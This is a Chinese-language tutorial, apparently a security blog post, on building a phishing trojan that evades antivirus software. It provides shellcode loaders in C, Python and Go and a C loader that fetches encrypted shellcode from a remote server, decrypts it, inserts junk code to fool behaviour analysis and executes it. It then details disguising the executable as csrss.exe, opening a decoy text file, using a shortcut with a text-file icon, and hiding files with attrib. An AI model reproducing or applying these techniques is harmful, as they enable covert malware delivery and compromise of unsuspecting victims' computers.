0x01 寫在前面
其實去年已經寫過類似的文章,但是久沒用了,難免有些生疏。所謂溫故而知新,因此再詳細的記錄一下,一方面可以給各位看官做個分享,另一方面等到用時也不至於出現臨陣磨槍的尷尬場面。
0x02 附件攜馬
利用偽造的電郵,在附件中攜帶木馬病毒,如word宏病毒,lnk快捷方式木馬,或是捆綁在正常程序中的木馬,發送給受害者,使木馬成功上線的方式。
然而真實環境中,大多數目標主機上面都安裝了殺毒軟件,因此本文我們重點不在於如何給受害者發送一封釣魚郵件,而是用粗略淺顯的方法來實現釣魚木馬的免殺。
0x03 如何免殺
在了解免殺之前,我們必須先掌握兩個概念,shellcode與shellcode loader。
1) 什么是shellcode?
百度百科這樣解釋道:shellcode是一段用於利用軟件漏洞而執行的代碼,shellcode為16進制的機器碼,因為經常讓攻擊者獲得shell而得名。
翻譯成人話就是:shellcode是一段執行某些動作的機器碼。
2)什么是機器碼?
百度百科:計算機直接使用的程序語言,其語句就是機器指令碼,機器指令碼是用於指揮計算機應做的操作和操作數地址的一組二進制數。機器指令碼在計算機中通常被稱為代碼。
人話就是:計算機的機器指令碼。
3)何為shellcode loader?
為了使我們的shellcode加載到內存並執行,我們需要shellcode加載器,也就是我們的shellcode loader。不同語言loader的寫法不同。
c/c++
#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不顯示窗口
unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\......";
void main()
{
LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode),MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (Memory == NULL) { return; }
memcpy(Memory, shellcode, sizeof(shellcode));
((void(*)())Memory)();
}
Python
import ctypes
shellcode = bytearray("\xfc\xe8\x89\x00\x00\x00\x60\x89......")
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
Golang
package loader
import (
"syscall"
"unsafe"
)
var (
proc42526789738d uintptr
)
const (
PAGE_EXECUTE_READWRITE = 0x40
)
func Init() error {
modKernel32, err := syscall.LoadLibrary(string([]byte{
'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l',
}))
if err != nil {
return err
}
proc42526789738d, err = syscall.GetProcAddress(modKernel32, string([]byte{
'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't',
}))
if err != nil {
return err
}
return nil
}
func X(buf []byte) {
var dwOldPerm uint32
syscall.Syscall6(
proc42526789738d,
4,
uintptr(unsafe.Pointer(&buf[0])),
uintptr(len(buf)),
uintptr(PAGE_EXECUTE_READWRITE),
uintptr(unsafe.Pointer(&dwOldPerm)),
0, 0,
)
syscall.Syscall(
uintptr(unsafe.Pointer(&buf[0])),
0, 0, 0, 0,
)
}
本文采用c/c++方式來實現shellcode加載。
4)免殺原理
目前常見的防病毒軟件,是基於三種模式來進行查殺。一是基於特征,二是基於行為,三是基於雲查殺。雲查殺其實也是特征查殺。
基於特征的查殺,我們使用各種編碼與加密的方式+CobaltStrike自身的管道通信模式+shellcode不落地可以繞過。
基於行為的查殺,利用CobaltStrike的管道通信模式+花指令思維會有奇效,翻譯成人話就是在loader中加入正常執行的代碼,讓exe本身具有正常的行為,來擾亂AV分析。
主要思路
- shellcode字符串不做硬編碼。人話是shellcode不寫死在loader代碼中。 (特征查殺)
- 原始shellcode字符串加密。(特征查殺)
- 添加干擾代碼擾亂AV分析。(行為查殺)
CobaltStrike獨特的管道通信模式使我們淺顯的免殺方式成為了可能。
0x04 代碼分析
我們采用shellcode不落地(遠端httpserver)的方式,來實現shellcode不做硬編碼,並且采用aes對稱加密算法對原始shellcode進行加密。
在主函數中,將shellcode下載回來並解密:
//遠程獲取加密shellcode
char buf[BUF_SIZE] = { 0 };
char url[MAX_PATH] = "http://x.x.x.x/shellcode";
GetInterNetURLText(url, buf);
//解密shellcode
string strbuf = DecryptionAES(buf);
添加干擾代碼,並執行shellcode:
//干擾代碼
char buff[BUF_SIZE] = { 0 };
for (int i = 0; i < strbuf.length(); i++)
buff<i> = strbuf<i>;
string aliword = base64_encode(word, 10);
char *p = buff;
//shellcode處理
unsigned char* shellcode = (unsigned char*)calloc(strlen(buff) / 2, sizeof(unsigned char));
for (size_t i = 0; i < strlen(buff) / 2; i++) {
sscanf(p, "%2hhx", &shellcode<i>);
p += 2;
}
string aliaesword = EncryptionAES(aliword);//干擾代碼
void *run = VirtualAlloc(0, strlen(buff) / 2, MEM_COMMIT, PAGE_READWRITE);
memcpy(run, shellcode, strlen(buff) / 2); //創建可讀可寫內存
if (aliword != strword)
DecryptionAES(aliaesword); //干擾代碼
VirtualProtect(run, strlen(buff) / 2, PAGE_EXECUTE, &dwOldProtect); //內存添加可執行權限
Sleep(2000); //延遲2S,躲避殺軟查殺
((void(*)())run)(); //執行
0x05 具體實現
到這里我們只是初步完成了exe的免殺,但這還遠遠不夠,直接發exe容易引起目標警覺,我們還需要稍加偽裝!本文采用lnk方式來偽裝木馬。
lnk
什么是lnk?百度百科這樣解釋道:lnk文件是用於指向其他文件的一種文件。 這些文件通常稱為快捷方式文件,通常它以快捷方式放在硬盤上,以方便使用者快速的調用。
有了lnk,我們只需要將lnk指向我們的木馬文件,利用木馬文件打開偽裝的正常文件,然后再悄無聲息地控制目標機器,簡單的免殺釣魚木馬就可以實現。
實現步驟
首先我們需要根據目標的喜好、職業等因素,來偽裝我們的附件,比如這樣:
然后我們需要引導目標來點擊我們的lnk文件,比如在壓縮包中添加使用說明文檔,內容可以自行發揮。在代碼中,我們需要先將文檔導入,當目標點擊lnk文件時,先啟動文檔,再執行shellcode,避免目標起疑:
BOOL ReleaseLibrary(UINT uResourceId, CHAR* szResourceType, CHAR* szFileName)
{
// 找到資源
HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(uResourceId), szResourceType);
// 獲取資源大小
DWORD dwSize = SizeofResource(NULL, hRsrc);
// 載入資源
HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
// 鎖定資源,並返回指向資源第一字節的指針
LPVOID lpRes = LockResource(hGlobal);
HANDLE hFile = CreateFile(szFileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD dwWriten = 0;
BOOL bRes = WriteFile(hFile, lpRes, dwSize, &dwWriten, NULL);
CloseHandle(hFile);
CloseHandle(hGlobal);
CloseHandle(hRsrc);
return TRUE;
}
void main()
{
......
BOOL bRes = ReleaseLibrary(IDR_TESTTXT1, (CHAR*)"TESTTXT", (CHAR*)"使用須知.txt"); //生成偽裝文件
ShellExecute(NULL, "open", "使用須知.txt", NULL, NULL, SW_SHOW); //打開偽裝文件迷惑目標
......
}
Ok,接下來,我們編譯出exe,將其放在附件里一個隱秘的文件夾中,並且偽裝成系統進行名,混淆視聽:
然后,我們新建lnk,指向我們的木馬exe程序,並且將圖標修改為文本文檔圖標:
最后,我們用attrib命令,將我們的木馬與偽造的使用須知文檔隱藏:
attrib csrss.exe +s +h
attrib 使用須知.txt +s +h
這時候,即使開啟了顯示隱藏文件,或者使用dir命令,都無法發現我們的木馬文件:
OK,到這里,我們的免殺釣魚木馬就制作完成了。